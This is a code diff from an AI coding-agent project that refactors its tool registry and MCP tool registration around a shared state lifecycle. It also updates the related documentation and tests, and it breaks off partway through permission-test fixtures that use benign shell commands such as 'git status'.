||||
|
||||
import { ToolDefinition, type ToolCall } from "@opencode-ai/ai"
|
||||
import { Tool } from "@opencode-ai/schema/tool"
|
||||
import { Context, Effect, Layer, Schema, SchemaIssue, Scope, Semaphore } from "effect"
|
||||
import type { ToolDraft } from "@opencode-ai/plugin/effect/tool"
|
||||
import { Context, Effect, Layer, Result, Schema, SchemaIssue, Types } from "effect"
|
||||
import { makeLocationNode } from "@opencode-ai/util/effect/app-node"
|
||||
import type { Agent } from "./agent.js"
|
||||
import { CodeModeCatalog } from "./codemode/catalog.js"
|
||||
@@ -14,6 +15,7 @@ import { Permission } from "./permission.js"
|
||||
import { PluginHooks } from "./plugin/hooks.js"
|
||||
import { SessionMessage } from "./session/message.js"
|
||||
import { SessionSchema } from "./session/schema.js"
|
||||
import { State } from "./state.js"
|
||||
import { definition, execute, normalizeContent } from "./tool/runtime.js"
|
||||
import { Wildcard } from "./util/wildcard.js"
|
||||
|
||||
@@ -22,10 +24,7 @@ export class RegistrationError extends Schema.TaggedError<RegistrationError>()("
|
||||
message: Schema.String,
|
||||
}) {}
|
||||
|
||||
export interface Interface {
|
||||
readonly transform: (
|
||||
callback: (draft: { readonly add: (tool: Tool.Info) => void }) => void,
|
||||
) => Effect.Effect<void, never, Scope.Scope>
|
||||
export interface Interface extends State.Transformable<ToolDraft> {
|
||||
readonly snapshot: (permissions?: Permission.Ruleset) => Effect.Effect<Snapshot>
|
||||
}
|
||||
|
||||
@@ -79,9 +78,6 @@ const layer = Layer.effect(
|
||||
]
|
||||
})
|
||||
|
||||
const local = new Map<string, Array<{ readonly token: object; readonly tool: Tool.Info }>>()
|
||||
const lock = Semaphore.makeUnsafe(1)
|
||||
|
||||
const executeTool = Effect.fn("Tool.execute")(function* (
|
||||
tool: Tool.Info,
|
||||
name: string,
|
||||
@@ -137,112 +133,123 @@ const layer = Layer.effect(
|
||||
}
|
||||
})
|
||||
|
||||
const transform: Interface["transform"] = Effect.fn("Tool.transform")(function* (callback) {
|
||||
const tools: Array<Tool.Info> = []
|
||||
yield* Effect.sync(() => callback({ add: (tool) => tools.push(tool) }))
|
||||
const valid = yield* Effect.filter(normalizedEntries(tools), (entry) =>
|
||||
Effect.gen(function* () {
|
||||
if (entry.tool.options?.namespace !== undefined) yield* validateNamespace(entry.tool.options.namespace)
|
||||
yield* validateName(normalizedName(entry.tool))
|
||||
if (entry.tool.options?.codemode === false && entry.key === "execute")
|
||||
return yield* new RegistrationError({
|
||||
name: entry.key,
|
||||
message: 'Tool name "execute" is reserved for CodeMode',
|
||||
})
|
||||
yield* Effect.try({
|
||||
try: () => ToolDefinition.make(definition(entry.tool)),
|
||||
catch: (error) =>
|
||||
new RegistrationError({
|
||||
name: entry.key,
|
||||
message: `Invalid tool definition ${entry.key}: ${schemaMakeError(error)}`,
|
||||
}),
|
||||
})
|
||||
return true
|
||||
}).pipe(Effect.catchTag("Tool.RegistrationError", (error) => skipRegistration(entry.tool, error))),
|
||||
)
|
||||
// Reject every ambiguous entry rather than choosing a winner.
|
||||
const entries = yield* Effect.filter(valid, (entry) => {
|
||||
if (!valid.some((candidate) => candidate !== entry && candidate.key === entry.key)) return Effect.succeed(true)
|
||||
return skipRegistration(
|
||||
entry.tool,
|
||||
new RegistrationError({ name: entry.key, message: `Duplicate normalized tool name: ${entry.key}` }),
|
||||
)
|
||||
})
|
||||
if (entries.length === 0) return
|
||||
yield* Effect.uninterruptible(
|
||||
lock.withPermit(
|
||||
Effect.gen(function* () {
|
||||
const token = {}
|
||||
for (const entry of entries)
|
||||
local.set(entry.key, [...(local.get(entry.key) ?? []), { token, tool: entry.tool }])
|
||||
yield* Effect.addFinalizer(() =>
|
||||
lock.withPermit(
|
||||
Effect.sync(() => {
|
||||
for (const entry of entries) {
|
||||
const remaining = local.get(entry.key)?.filter((item) => item.token !== token) ?? []
|
||||
if (remaining.length > 0) local.set(entry.key, remaining)
|
||||
else local.delete(entry.key)
|
||||
}
|
||||
}),
|
||||
),
|
||||
)
|
||||
}),
|
||||
const state = State.create({
|
||||
name: "tool",
|
||||
initial: () => ({
|
||||
tools: new Map<string, Types.Mutable<Tool.Info>>(),
|
||||
errors: new Array<{ tool: Tool.Info; error: RegistrationError }>(),
|
||||
}),
|
||||
draft: (data) => data,
|
||||
finalize: (draft) =>
|
||||
Effect.forEach(
|
||||
draft.errors,
|
||||
(entry) =>
|
||||
Effect.logError("Skipping invalid tool registration", {
|
||||
name: entry.tool.name,
|
||||
namespace: entry.tool.options?.namespace,
|
||||
error: entry.error.message,
|
||||
}),
|
||||
{ discard: true },
|
||||
),
|
||||
)
|
||||
})
|
||||
|
||||
return Service.of({
|
||||
transform,
|
||||
snapshot: Effect.fn("Tool.snapshot")((permissions) =>
|
||||
lock.withPermit(
|
||||
Effect.gen(function* () {
|
||||
const active = new Map<string, Tool.Info>()
|
||||
const rules = permissions ?? []
|
||||
for (const [name, entries] of local) {
|
||||
const tool = entries.at(-1)?.tool
|
||||
if (!tool) continue
|
||||
if (whollyDisabled(tool.options?.permission ?? name, rules)) continue
|
||||
active.set(name, tool)
|
||||
}
|
||||
const direct = new Map(Array.from(active).filter(([, tool]) => tool.options?.codemode === false))
|
||||
const codemode = new Map(Array.from(active).filter(([, tool]) => tool.options?.codemode !== false))
|
||||
const executeRule = rules.findLast((rule) => Wildcard.match("execute", rule.action))
|
||||
const codemodeEnabled = executeRule?.resource !== "*" || executeRule.effect !== "deny"
|
||||
const codemodeTool = codemodeEnabled
|
||||
? CodeModeTool.create(codemode, (name, tool, input, context) => executeTool(tool, name, input, context))
|
||||
: undefined
|
||||
const codeModeCatalog = codemodeEnabled ? CodeModeTool.catalog(codemode) : undefined
|
||||
return {
|
||||
...(codeModeCatalog === undefined ? {} : { codeModeCatalog }),
|
||||
definitions: [
|
||||
...Array.from(direct)
|
||||
.sort(([left], [right]) => (left < right ? -1 : left > right ? 1 : 0))
|
||||
.map(([, tool]) => definition(tool)),
|
||||
...(codemodeTool ? [definition(codemodeTool)] : []),
|
||||
],
|
||||
execute: (input: {
|
||||
readonly sessionID: SessionSchema.ID
|
||||
readonly agent: Agent.ID
|
||||
readonly messageID: SessionMessage.ID
|
||||
readonly call: ToolCall
|
||||
readonly progress?: (update: Tool.Metadata) => Effect.Effect<void>
|
||||
}) => {
|
||||
const context: Tool.Context = {
|
||||
sessionID: input.sessionID,
|
||||
agent: input.agent,
|
||||
messageID: input.messageID,
|
||||
id: Tool.CallID.make(input.call.id),
|
||||
progress: input.progress ?? (() => Effect.void),
|
||||
transform: (callback) =>
|
||||
state.transform((draft) => {
|
||||
// Preserve rejection of ambiguous adds within one transform, without rejecting later overrides.
|
||||
const added = new Map<string, Tool.Info | undefined>()
|
||||
callback({
|
||||
add: (tool) => {
|
||||
const error = registrationError(tool)
|
||||
if (error) {
|
||||
draft.errors.push({ tool, error })
|
||||
return
|
||||
}
|
||||
const id = effectiveName(tool)
|
||||
if (added.has(id)) {
|
||||
draft.errors.push({
|
||||
tool,
|
||||
error: new RegistrationError({ name: id, message: `Duplicate normalized tool name: ${id}` }),
|
||||
})
|
||||
const previous = added.get(id)
|
||||
if (previous) {
|
||||
draft.tools.set(id, previous)
|
||||
return
|
||||
}
|
||||
if (input.call.name === "execute" && codemodeTool)
|
||||
return executeTool(codemodeTool, input.call.name, input.call.input, context)
|
||||
const tool = direct.get(input.call.name)
|
||||
if (tool) return executeTool(tool, input.call.name, input.call.input, context)
|
||||
return new Tool.Error({ message: `Unknown tool: ${input.call.name}` })
|
||||
},
|
||||
}
|
||||
}),
|
||||
),
|
||||
draft.tools.delete(id)
|
||||
return
|
||||
}
|
||||
added.set(id, draft.tools.get(id))
|
||||
draft.tools.set(id, { ...tool })
|
||||
},
|
||||
update: (id, update) => {
|
||||
const current = draft.tools.get(id)
|
||||
if (!current) return
|
||||
const tool = { ...current }
|
||||
update(tool)
|
||||
tool.name = current.name
|
||||
if (tool.options?.namespace !== current.options?.namespace)
|
||||
tool.options = { ...tool.options, namespace: current.options?.namespace }
|
||||
const error = registrationError(tool)
|
||||
if (error) {
|
||||
draft.errors.push({ tool, error })
|
||||
return
|
||||
}
|
||||
draft.tools.set(id, tool)
|
||||
},
|
||||
remove: (id) => {
|
||||
draft.tools.delete(id)
|
||||
added.delete(id)
|
||||
},
|
||||
})
|
||||
}),
|
||||
reload: state.reload,
|
||||
snapshot: Effect.fn("Tool.snapshot")((permissions) =>
|
||||
Effect.sync(() => {
|
||||
const active = new Map<string, Tool.Info>()
|
||||
const rules = permissions ?? []
|
||||
for (const [name, tool] of state.get().tools) {
|
||||
if (whollyDisabled(tool.options?.permission ?? name, rules)) continue
|
||||
active.set(name, tool)
|
||||
}
|
||||
const direct = new Map(Array.from(active).filter(([, tool]) => tool.options?.codemode === false))
|
||||
const codemode = new Map(Array.from(active).filter(([, tool]) => tool.options?.codemode !== false))
|
||||
const executeRule = rules.findLast((rule) => Wildcard.match("execute", rule.action))
|
||||
const codemodeEnabled = executeRule?.resource !== "*" || executeRule.effect !== "deny"
|
||||
const codemodeTool = codemodeEnabled
|
||||
? CodeModeTool.create(codemode, (name, tool, input, context) => executeTool(tool, name, input, context))
|
||||
: undefined
|
||||
const codeModeCatalog = codemodeEnabled ? CodeModeTool.catalog(codemode) : undefined
|
||||
return {
|
||||
...(codeModeCatalog === undefined ? {} : { codeModeCatalog }),
|
||||
definitions: [
|
||||
...Array.from(direct)
|
||||
.sort(([left], [right]) => (left < right ? -1 : left > right ? 1 : 0))
|
||||
.map(([, tool]) => definition(tool)),
|
||||
...(codemodeTool ? [definition(codemodeTool)] : []),
|
||||
],
|
||||
execute: (input: {
|
||||
readonly sessionID: SessionSchema.ID
|
||||
readonly agent: Agent.ID
|
||||
readonly messageID: SessionMessage.ID
|
||||
readonly call: ToolCall
|
||||
readonly progress?: (update: Tool.Metadata) => Effect.Effect<void>
|
||||
}) => {
|
||||
const context: Tool.Context = {
|
||||
sessionID: input.sessionID,
|
||||
agent: input.agent,
|
||||
messageID: input.messageID,
|
||||
id: Tool.CallID.make(input.call.id),
|
||||
progress: input.progress ?? (() => Effect.void),
|
||||
}
|
||||
if (input.call.name === "execute" && codemodeTool)
|
||||
return executeTool(codemodeTool, input.call.name, input.call.input, context)
|
||||
const tool = direct.get(input.call.name)
|
||||
if (tool) return executeTool(tool, input.call.name, input.call.input, context)
|
||||
return new Tool.Error({ message: `Unknown tool: ${input.call.name}` })
|
||||
},
|
||||
}
|
||||
}),
|
||||
),
|
||||
})
|
||||
}),
|
||||
@@ -260,27 +267,22 @@ function schemaMakeError(error: unknown) {
|
||||
return error instanceof Error ? error.message : String(error)
|
||||
}
|
||||
|
||||
const skipRegistration = (tool: Tool.Info, error: RegistrationError) =>
|
||||
Effect.logError("Skipping invalid tool registration", {
|
||||
name: tool.name,
|
||||
namespace: tool.options?.namespace,
|
||||
error: error.message,
|
||||
}).pipe(Effect.as(false))
|
||||
|
||||
const validateName = (name: string) =>
|
||||
/^[A-Za-z0-9_-]{1,64}$/.test(name)
|
||||
? Effect.void
|
||||
: Effect.fail(new RegistrationError({ name, message: `Invalid tool name: ${name}` }))
|
||||
|
||||
const validateNamespace = (namespace: string) =>
|
||||
namespace.split(".").every((segment) => /^[A-Za-z0-9_-]{1,64}$/.test(segment))
|
||||
? Effect.void
|
||||
: Effect.fail(
|
||||
new RegistrationError({
|
||||
name: namespace,
|
||||
message: `Invalid tool namespace: ${JSON.stringify(namespace)}`,
|
||||
}),
|
||||
)
|
||||
function registrationError(tool: Tool.Info) {
|
||||
const namespace = tool.options?.namespace
|
||||
if (namespace !== undefined && !namespace.split(".").every((segment) => /^[A-Za-z0-9_-]{1,64}$/.test(segment)))
|
||||
return new RegistrationError({ name: namespace, message: `Invalid tool namespace: ${JSON.stringify(namespace)}` })
|
||||
const name = normalizedName(tool)
|
||||
if (!/^[A-Za-z0-9_-]{1,64}$/.test(name)) return new RegistrationError({ name, message: `Invalid tool name: ${name}` })
|
||||
const id = effectiveName(tool)
|
||||
if (tool.options?.codemode === false && id === "execute")
|
||||
return new RegistrationError({ name: id, message: 'Tool name "execute" is reserved for CodeMode' })
|
||||
const result = Result.try({
|
||||
try: () => ToolDefinition.make(definition(tool)),
|
||||
catch: (error) =>
|
||||
new RegistrationError({ name: id, message: `Invalid tool definition ${id}: ${schemaMakeError(error)}` }),
|
||||
})
|
||||
return Result.isFailure(result) ? result.failure : undefined
|
||||
}
|
||||
|
||||
const normalizedName = (tool: Tool.Info) => tool.name.replace(/[^a-zA-Z0-9_-]/g, "_")
|
||||
|
||||
@@ -289,12 +291,6 @@ const effectiveName = (tool: Tool.Info) =>
|
||||
? normalizedName(tool)
|
||||
: `${tool.options.namespace.replaceAll(".", "_")}_${normalizedName(tool)}`
|
||||
|
||||
const normalizedEntries = (tools: ReadonlyArray<Tool.Info>) =>
|
||||
tools.map((tool) => ({
|
||||
key: effectiveName(tool),
|
||||
tool,
|
||||
}))
|
||||
|
||||
export const node = makeLocationNode({
|
||||
service: Service,
|
||||
layer,
|
||||
|
||||
@@ -30,17 +30,18 @@ Leaves own resolution, permission, and side-effect ordering. Translate only expe
|
||||
|
||||
## Registration
|
||||
|
||||
Built-ins, plugins, and MCP install tools through `ToolRegistry.Service.transform`, adding complete tool objects to the draft. A tool may provide a namespace, which flattens direct model names to `<namespace>_<tool>`, and defaults into CodeMode (`codemode` defaults true; `codemode: false` keeps the tool on the provider's native tool list).
|
||||
Built-ins, plugins, and MCP install tools through `Tool.Service.transform`, adding complete tool objects to the draft. A tool may provide a namespace, which flattens direct model names to `<namespace>_<tool>`, and defaults into CodeMode (`codemode` defaults true; `codemode: false` keeps the tool on the provider's native tool list).
|
||||
|
||||
Registrations are scoped:
|
||||
|
||||
- The latest active same-placement registration wins.
|
||||
- Closing any registration removes only that registration and reveals the next active one.
|
||||
- Tool transforms use the shared `State.create` lifecycle, like agents and skills: `add`, `update`, and `remove` replay in registration order when state is rebuilt.
|
||||
- `update` and `remove` do nothing for missing tools. `add` requires a complete tool definition.
|
||||
- Disposing a registration or closing its scope removes its transform and rebuilds the remaining state. `reload` replays transforms after their external inputs change.
|
||||
- Each model request captures the effective tools it advertises; later registration changes affect later requests.
|
||||
|
||||
Type safety ends at registration. The registry validates model input and declared output at runtime and should not carry producer schema generics through storage or execution.
|
||||
|
||||
`ToolRegistry.Service` is Location-scoped. Do not make the registry process-global or construct a separate application-tool service for each Location.
|
||||
`Tool.Service` is Location-scoped. Do not make the registry process-global or construct a separate application-tool service for each Location.
|
||||
|
||||
## Permissions
|
||||
|
||||
@@ -56,4 +57,4 @@ Producer capture limits remain local to producers. For example, Bash keeps `AppP
|
||||
|
||||
## Current Gaps
|
||||
|
||||
- MCP and future Session-scoped registrations still need an explicit canonical registration design.
|
||||
- Future Session-scoped registrations still need an explicit canonical registration design.
|
||||
|
||||
@@ -2,7 +2,7 @@ export * as McpTool from "./mcp.js"
|
||||
|
||||
import { ToolFailure } from "@opencode-ai/ai"
|
||||
import { McpEvent } from "@opencode-ai/schema/mcp-event"
|
||||
import { Context, Effect, Exit, Fiber, type JsonSchema, Layer, Scope, Semaphore, Stream } from "effect"
|
||||
import { Context, Effect, Fiber, type JsonSchema, Layer, Semaphore, Stream } from "effect"
|
||||
import { makeLocationNode } from "@opencode-ai/util/effect/app-node"
|
||||
import { Bus } from "../bus.js"
|
||||
|
||||
@@ -30,94 +30,88 @@ export const layer = Layer.effect(
|
||||
const tools = yield* Tool.Service
|
||||
const bus = yield* Bus.Service
|
||||
const permission = yield* Permission.Service
|
||||
const scope = yield* Scope.Scope
|
||||
const lock = Semaphore.makeUnsafe(1)
|
||||
let current: Scope.Closeable | undefined
|
||||
let discovered: MCP.Tool[] = []
|
||||
|
||||
// Register the current tool set under a fresh child scope, then close the previous one so the
|
||||
// registry never has a gap where MCP tools disappear mid-swap.
|
||||
// Keep the source's position so later plugin transforms also apply after MCP refreshes.
|
||||
yield* tools.transform((draft) => {
|
||||
for (const tool of discovered) {
|
||||
const schema = (tool.inputSchema ?? {}) as JsonSchema.JsonSchema
|
||||
draft.add({
|
||||
name: tool.name,
|
||||
options: { namespace: namespace(tool.server), codemode: tool.codemode !== false },
|
||||
description: tool.description ?? "",
|
||||
input: {
|
||||
...schema,
|
||||
type: "object",
|
||||
properties: schema.properties ?? {},
|
||||
additionalProperties: false,
|
||||
},
|
||||
output: (tool.outputSchema ?? {}) as JsonSchema.JsonSchema,
|
||||
execute: (input, context) =>
|
||||
Effect.gen(function* () {
|
||||
yield* permission.assert({
|
||||
action: name(tool.server, tool.name),
|
||||
resources: ["*"],
|
||||
save: ["*"],
|
||||
metadata: {},
|
||||
sessionID: context.sessionID,
|
||||
agent: context.agent,
|
||||
source: {
|
||||
type: "tool",
|
||||
messageID: context.messageID,
|
||||
id: context.id,
|
||||
},
|
||||
})
|
||||
const result = yield* mcp
|
||||
.callTool({
|
||||
server: tool.server,
|
||||
name: tool.name,
|
||||
args: (input ?? {}) as Record<string, unknown>,
|
||||
})
|
||||
.pipe(
|
||||
Effect.catchTags({
|
||||
"MCP.NotFoundError": (error) =>
|
||||
new ToolFailure({ message: `MCP server "${error.server}" is not available` }),
|
||||
"MCP.ToolCallError": (error) => new ToolFailure({ message: error.message }),
|
||||
}),
|
||||
)
|
||||
if (result.isError)
|
||||
return yield* new ToolFailure({
|
||||
message:
|
||||
result.content
|
||||
.flatMap((part) => (part.type === "text" ? [part.text] : []))
|
||||
.join("\n")
|
||||
.trim() || "MCP tool returned an error",
|
||||
})
|
||||
const content = result.content.map((part) =>
|
||||
part.type === "text"
|
||||
? { type: "text" as const, text: part.text }
|
||||
: {
|
||||
type: "file" as const,
|
||||
uri: `data:${part.mimeType};base64,${part.data}`,
|
||||
mime: part.mimeType,
|
||||
},
|
||||
)
|
||||
const text = content.flatMap((part) => (part.type === "text" ? [part.text] : [])).join("\n")
|
||||
return {
|
||||
output: result.structured ?? (text === "" ? null : text),
|
||||
...(content.length === 0 ? {} : { content }),
|
||||
}
|
||||
}).pipe(
|
||||
Effect.mapError((error) =>
|
||||
error instanceof ToolFailure
|
||||
? error
|
||||
: new ToolFailure({ message: `Unable to execute ${name(tool.server, tool.name)}` }),
|
||||
),
|
||||
),
|
||||
})
|
||||
}
|
||||
})
|
||||
const reconcile = lock.withPermit(
|
||||
Effect.gen(function* () {
|
||||
const discovered = yield* mcp.tools()
|
||||
const next = yield* Scope.fork(scope)
|
||||
yield* tools
|
||||
.transform((draft) => {
|
||||
for (const tool of discovered) {
|
||||
const schema = (tool.inputSchema ?? {}) as JsonSchema.JsonSchema
|
||||
draft.add({
|
||||
name: tool.name,
|
||||
options: { namespace: namespace(tool.server), codemode: tool.codemode !== false },
|
||||
description: tool.description ?? "",
|
||||
input: {
|
||||
...schema,
|
||||
type: "object",
|
||||
properties: schema.properties ?? {},
|
||||
additionalProperties: false,
|
||||
},
|
||||
output: (tool.outputSchema ?? {}) as JsonSchema.JsonSchema,
|
||||
execute: (input, context) =>
|
||||
Effect.gen(function* () {
|
||||
yield* permission.assert({
|
||||
action: name(tool.server, tool.name),
|
||||
resources: ["*"],
|
||||
save: ["*"],
|
||||
metadata: {},
|
||||
sessionID: context.sessionID,
|
||||
agent: context.agent,
|
||||
source: {
|
||||
type: "tool",
|
||||
messageID: context.messageID,
|
||||
id: context.id,
|
||||
},
|
||||
})
|
||||
const result = yield* mcp
|
||||
.callTool({
|
||||
server: tool.server,
|
||||
name: tool.name,
|
||||
args: (input ?? {}) as Record<string, unknown>,
|
||||
})
|
||||
.pipe(
|
||||
Effect.catchTags({
|
||||
"MCP.NotFoundError": (error) =>
|
||||
new ToolFailure({ message: `MCP server "${error.server}" is not available` }),
|
||||
"MCP.ToolCallError": (error) => new ToolFailure({ message: error.message }),
|
||||
}),
|
||||
)
|
||||
if (result.isError)
|
||||
return yield* new ToolFailure({
|
||||
message:
|
||||
result.content
|
||||
.flatMap((part) => (part.type === "text" ? [part.text] : []))
|
||||
.join("\n")
|
||||
.trim() || "MCP tool returned an error",
|
||||
})
|
||||
const content = result.content.map((part) =>
|
||||
part.type === "text"
|
||||
? { type: "text" as const, text: part.text }
|
||||
: {
|
||||
type: "file" as const,
|
||||
uri: `data:${part.mimeType};base64,${part.data}`,
|
||||
mime: part.mimeType,
|
||||
},
|
||||
)
|
||||
const text = content.flatMap((part) => (part.type === "text" ? [part.text] : [])).join("\n")
|
||||
return {
|
||||
output: result.structured ?? (text === "" ? null : text),
|
||||
...(content.length === 0 ? {} : { content }),
|
||||
}
|
||||
}).pipe(
|
||||
Effect.mapError((error) =>
|
||||
error instanceof ToolFailure
|
||||
? error
|
||||
: new ToolFailure({ message: `Unable to execute ${name(tool.server, tool.name)}` }),
|
||||
),
|
||||
),
|
||||
})
|
||||
}
|
||||
})
|
||||
.pipe(Scope.provide(next))
|
||||
if (current) yield* Scope.close(current, Exit.void)
|
||||
current = next
|
||||
discovered = yield* mcp.tools()
|
||||
yield* tools.reload()
|
||||
}),
|
||||
)
|
||||
|
||||
|
||||
@@ -222,9 +222,11 @@ describe("AISDKNative", () => {
|
||||
},
|
||||
headers: { "x-test": "value" },
|
||||
})
|
||||
expect(map("@ai-sdk/amazon-bedrock/mantle", settings, "openai.gpt-oss-safeguard-20b")?.package).toBe(
|
||||
"@opencode-ai/ai/providers/amazon-bedrock/mantle/chat",
|
||||
)
|
||||
for (const modelID of ["openai.gpt-oss-safeguard-20b", "openai.gpt-oss-safeguard-120b"]) {
|
||||
expect(map("@ai-sdk/amazon-bedrock/mantle", settings, modelID)?.package).toBe(
|
||||
"@opencode-ai/ai/providers/amazon-bedrock/mantle/chat",
|
||||
)
|
||||
}
|
||||
expect(
|
||||
map(
|
||||
"@ai-sdk/amazon-bedrock/mantle",
|
||||
|
||||
@@ -64,10 +64,8 @@ export const registerToolPlugin = <R>(
|
||||
hook: () => Effect.succeed({ dispose: Effect.void }),
|
||||
},
|
||||
tool: {
|
||||
transform: (callback) =>
|
||||
tools
|
||||
.transform((draft) => callback({ add: (tool) => draft.add(tool) }))
|
||||
.pipe(Effect.orDie, Effect.as({ dispose: Effect.void })),
|
||||
transform: tools.transform,
|
||||
reload: tools.reload,
|
||||
hook: () => Effect.die("registerToolPlugin does not support tool hooks"),
|
||||
},
|
||||
})
|
||||
|
||||
@@ -1229,7 +1229,7 @@ test("serializes concurrent MCP lifecycle operations", async () => {
|
||||
)
|
||||
})
|
||||
|
||||
testEffect(Layer.empty).live("isolates invalid MCP tools and keeps catalog updates alive", () =>
|
||||
testEffect(Layer.empty).live("isolates invalid MCP tools and reapplies plugin mutations on catalog updates", () =>
|
||||
Effect.gen(function* () {
|
||||
const tool = (server: string, name: string) =>
|
||||
new MCP.Tool({
|
||||
@@ -1246,12 +1246,14 @@ testEffect(Layer.empty).live("isolates invalid MCP tools and keeps catalog updat
|
||||
const registry = yield* Tool.Service
|
||||
const registration = yield* McpTool.Service
|
||||
const bus = yield* Bus.Service
|
||||
const policy = yield* registry.transform((draft) => {
|
||||
draft.update("demo_search", (tool) => {
|
||||
tool.description = "Updated search"
|
||||
})
|
||||
draft.remove("other_lookup")
|
||||
})
|
||||
yield* registration.flush
|
||||
expect((yield* toolDefinitions(registry)).map((tool) => tool.name)).toEqual([
|
||||
"demo_search",
|
||||
"other_lookup",
|
||||
"execute",
|
||||
])
|
||||
expect((yield* toolDefinitions(registry)).map((tool) => tool.name)).toEqual(["demo_search", "execute"])
|
||||
|
||||
yield* Ref.set(catalog, [tool("demo", "y".repeat(65)), ...healthy, tool("demo", "added"), namespace])
|
||||
yield* bus.publish(McpEvent.ToolsChanged, { server: "demo" })
|
||||
@@ -1259,23 +1261,36 @@ testEffect(Layer.empty).live("isolates invalid MCP tools and keeps catalog updat
|
||||
expect((yield* toolDefinitions(registry)).map((tool) => tool.name)).toEqual([
|
||||
"demo_added",
|
||||
"demo_search",
|
||||
"other_lookup",
|
||||
"execute",
|
||||
])
|
||||
yield* Effect.forEach(["demo_search", "other_lookup"], (name) =>
|
||||
executeTool(registry, {
|
||||
expect((yield* toolDefinitions(registry)).find((tool) => tool.name === "demo_search")?.description).toBe(
|
||||
"Updated search",
|
||||
)
|
||||
expect(
|
||||
yield* executeTool(registry, {
|
||||
sessionID: Session.ID.make("ses_mcp_invalid_catalog"),
|
||||
...toolIdentity,
|
||||
call: { type: "tool-call", id: `call_${name}`, name, input: {} },
|
||||
}).pipe(Effect.tap((result) => Effect.sync(() => expect(result).toMatchObject({ status: "completed" })))),
|
||||
)
|
||||
call: { type: "tool-call", id: "call_demo_search", name: "demo_search", input: {} },
|
||||
}),
|
||||
).toMatchObject({ status: "completed" })
|
||||
|
||||
yield* Ref.set(catalog, [tool("demo", "status"), ...healthy, tool("demo", "added"), tool("repaired", "lookup")])
|
||||
yield* Ref.set(catalog, [
|
||||
tool("demo", "status"),
|
||||
tool("other", "lookup"),
|
||||
tool("demo", "added"),
|
||||
tool("repaired", "lookup"),
|
||||
])
|
||||
yield* bus.publish(McpEvent.ToolsChanged, { server: "demo" })
|
||||
yield* waitForTool(registry, "demo_status")
|
||||
expect((yield* toolDefinitions(registry)).map((tool) => tool.name)).toEqual([
|
||||
"demo_added",
|
||||
"demo_search",
|
||||
"demo_status",
|
||||
"repaired_lookup",
|
||||
"execute",
|
||||
])
|
||||
yield* policy.dispose
|
||||
expect((yield* toolDefinitions(registry)).map((tool) => tool.name)).toEqual([
|
||||
"demo_added",
|
||||
"demo_status",
|
||||
"other_lookup",
|
||||
"repaired_lookup",
|
||||
@@ -1309,7 +1324,7 @@ testEffect(Layer.empty).live("isolates invalid MCP tools and keeps catalog updat
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("advertises MCP output schemas to Code Mode", () =>
|
||||
it.live("advertises MCP output schemas to Code Mode", () =>
|
||||
Effect.gen(function* () {
|
||||
const registry = yield* Tool.Service
|
||||
const toolSet = yield* waitForCodeModeTool(registry, "demo.search")
|
||||
@@ -1326,7 +1341,7 @@ it.effect("advertises MCP output schemas to Code Mode", () =>
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("returns content-only MCP results through Code Mode", () =>
|
||||
it.live("returns content-only MCP results through Code Mode", () =>
|
||||
Effect.gen(function* () {
|
||||
assertion = yield* Deferred.make<Permission.AssertInput>()
|
||||
decision = Effect.void
|
||||
@@ -1351,7 +1366,7 @@ it.effect("returns content-only MCP results through Code Mode", () =>
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("advertises MCP tools directly when Code Mode is disabled for the server", () =>
|
||||
it.live("advertises MCP tools directly when Code Mode is disabled for the server", () =>
|
||||
Effect.gen(function* () {
|
||||
const registry = yield* Tool.Service
|
||||
yield* waitForTool(registry, "direct_lookup")
|
||||
@@ -1365,7 +1380,7 @@ it.effect("advertises MCP tools directly when Code Mode is disabled for the serv
|
||||
|
||||
// Baseline (PLAN.md step 1): MCP isError must become one failed tool call, not a
|
||||
// success whose text happens to describe an error.
|
||||
it.effect("fails the call when MCP reports isError", () =>
|
||||
it.live("fails the call when MCP reports isError", () =>
|
||||
Effect.gen(function* () {
|
||||
assertion = yield* Deferred.make<Permission.AssertInput>()
|
||||
decision = Effect.void
|
||||
@@ -1383,7 +1398,7 @@ it.effect("fails the call when MCP reports isError", () =>
|
||||
)
|
||||
|
||||
// Baseline (PLAN.md step 1): mixed MCP text and media content must reach the model intact.
|
||||
it.effect("preserves MCP text and media content for the model", () =>
|
||||
it.live("preserves MCP text and media content for the model", () =>
|
||||
Effect.gen(function* () {
|
||||
assertion = yield* Deferred.make<Permission.AssertInput>()
|
||||
decision = Effect.void
|
||||
@@ -1404,7 +1419,7 @@ it.effect("preserves MCP text and media content for the model", () =>
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("waits for permission before calling an MCP tool", () =>
|
||||
it.live("waits for permission before calling an MCP tool", () =>
|
||||
Effect.gen(function* () {
|
||||
calls = 0
|
||||
assertion = yield* Deferred.make<Permission.AssertInput>()
|
||||
@@ -1446,7 +1461,7 @@ it.effect("waits for permission before calling an MCP tool", () =>
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("does not call MCP when permission is blocked", () =>
|
||||
it.live("does not call MCP when permission is blocked", () =>
|
||||
Effect.gen(function* () {
|
||||
calls = 0
|
||||
assertion = yield* Deferred.make<Permission.AssertInput>()
|
||||
|
||||
@@ -17,6 +17,7 @@ import { AbsolutePath } from "@opencode-ai/core/schema"
|
||||
import { Session } from "@opencode-ai/core/session"
|
||||
import { SessionTable } from "@opencode-ai/core/session/sql"
|
||||
import { SessionStore } from "@opencode-ai/core/session/store"
|
||||
import { ShellParse } from "@opencode-ai/core/shell/parse"
|
||||
import { eq } from "drizzle-orm"
|
||||
import { location } from "./fixture/location"
|
||||
import { testEffect } from "./lib/effect"
|
||||
@@ -384,3 +385,334 @@ describe("Permission", () => {
|
||||
}),
|
||||
)
|
||||
})
|
||||
|
||||
describe("shell scanner permission impact", () => {
|
||||
// Fixed cases require matching outcomes; remaining differences are investigation snapshots, not contracts.
|
||||
// These service-level cases all have command resources; tool tests cover skipped checks and directories.
|
||||
// Outcome pairs are [legacy, native].
|
||||
for (const fixture of [
|
||||
{
|
||||
name: "timed command preserves wrapper approvals",
|
||||
shell: "bash",
|
||||
command: "time -p git status",
|
||||
approved: ["time *"],
|
||||
exact: ["time -p git status"],
|
||||
denied: "time -p git status",
|
||||
savedEffect: ["allow", "allow"],
|
||||
exactEffect: ["allow", "allow"],
|
||||
deniedEffect: ["deny", "deny"],
|
||||
},
|
||||
{
|
||||
name: "coprocess command preserves wrapper approvals",
|
||||
shell: "bash",
|
||||
command: "coproc git status",
|
||||
approved: ["coproc *"],
|
||||
exact: ["coproc git status"],
|
||||
denied: "coproc git status",
|
